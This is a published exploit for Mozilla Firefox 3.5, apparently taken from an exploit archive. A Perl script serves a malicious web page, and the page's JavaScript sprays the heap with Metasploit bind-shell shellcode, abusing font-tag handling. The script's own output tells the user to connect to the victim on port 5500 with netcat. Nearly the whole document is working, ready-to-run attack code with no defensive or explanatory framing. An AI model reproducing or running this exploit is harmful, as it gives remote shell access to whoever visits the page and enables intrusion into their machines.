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Mozilla Firefox 3.5 (Font tags) Remote Heap Spray Exploit (pl)
============================================================== Mozilla Firefox 3.5 (Font tags) Remote Heap Spray Exploit (pl) ============================================================== ################################################## # FireFox 3.5 Heap Spray # Discovered by: Simon Berry-Bryne ################################################## #!/usr/bin/perl -w use strict; use POE::Component::Server::HTTP; POE::Component::Server::HTTP->new(Port => my $port = 8080, ContentHandler => {"/" => sub{$_[1]->push_header("Content-Type", "text/html"), $_[1]->content(<DATA>)}}); print "[-] Listening in port $port...\n[-] Sending payload...\n[-] After 30 secs try with netcat for connect in port 5500\n"; POE::Kernel->run(); __DATA__ <html> <head> <title>Exploiting Firefox 3.5</title> <script language= javascript> //windows - shell_bind_tcp - metasploit - encoding is shikata_ga_nai var shellcode= unescape("%u6afc%u4deb%uf9e8%uffff%u60ff%u6c8b%u2424%u458b%u8b3c%u057c%u0178%u8bef" + "%u184f%u5f8b%u0120%u49eb%u348b%u018b%u31ee%u99c0%u84ac%u74c0%uc107%u0dca" + "%uc201%uf4eb%u543b%u2824%ue575%u5f8b%u0124%u66eb%u0c8b%u8b4b%u1c5f%ueb01" + "%u2c03%u898b%u246c%u611c%u31c3%u64db%u438b%u8b30%u0c40%u708b%uad1c%u408b" + "%u5e08%u8e68%u0e4e%u50ec%ud6ff%u5366%u6866%u3233%u7768%u3273%u545f%ud0ff" + "%ucb68%ufced%u503b%ud6ff%u895f%u66e5%ued81%u0208%u6a55%uff02%u68d0%u09d9" + "%uadf5%uff57%u53d6%u5353%u5353%u5343%u5343%ud0ff%u6866%u7c15%u5366%ue189" + "%u6895%u1aa4%uc770%uff57%u6ad6%u5110%uff55%u68d0%uada4%ue92e%uff57%u53d6" + "%uff55%u68d0%u49e5%u4986%uff57%u50d6%u5454%uff55%u93d0%ue768%uc679%u5779" + "%ud6ff%uff55%u66d0%u646a%u6866%u6d63%ue589%u506a%u2959%u89cc%u6ae7%u8944" + "%u31e2%uf3c0%ufeaa%u2d42%u42fe%u932c%u7a8d%uab38%uabab%u7268%ub3fe%uff16" + "%u4475%ud6ff%u575b%u5152%u5151%u016a%u5151%u5155%ud0ff%uad68%u05d9%u53ce" + "%ud6ff%uff6a%u37ff%ud0ff%u578b%u83fc%u64c4%ud6ff%uff52%u68d0%uceef%u60e0" + "%uff53%uffd6%u41d0"); oneblock = unescape("%u0c0c%u0c0c"); var fullblock = oneblock; while (fullblock.length<0x60000) { fullblock += fullblock; } sprayContainer = new Array(); for (i=0; i<600; i++) { sprayContainer[i] = fullblock + shellcode; } var searchArray = new Array() function escapeData(data) { var i; var c; var escData=''; for(i=0;i<data.length;i++) { c=data.charAt(i);$poe_kernel if(c=='&' || c=='?' || c=='=' || c=='%' || c==' ') c = escape(c); escData+=c; } return escData; } function DataTranslator(){ searchArray = new Array(); searchArray[0] = new Array(); searchArray[0]["str"] = "blah"; var newElement = document.getElementById("content") if (document.getElementsByTagName) { var i=0; pTags = newElement.getElementsByTagName("p") if (pTags.length > 0) while (i<pTags.length) { oTags = pTags[i].getElementsByTagName("font") searchArray[i+1] = new Array() if (oTags[0]) { searchArray[i+1]["str"] = oTags[0].innerHTML; } i++ } } } function GenerateHTML() { var html = ""; for (i=1;i<searchArray.length;i++) { html += escapeData(searchArray[i]["str"]) } } DataTranslator(); GenerateHTML() </script> </body> </html> # 0day.today [2024-12-23] #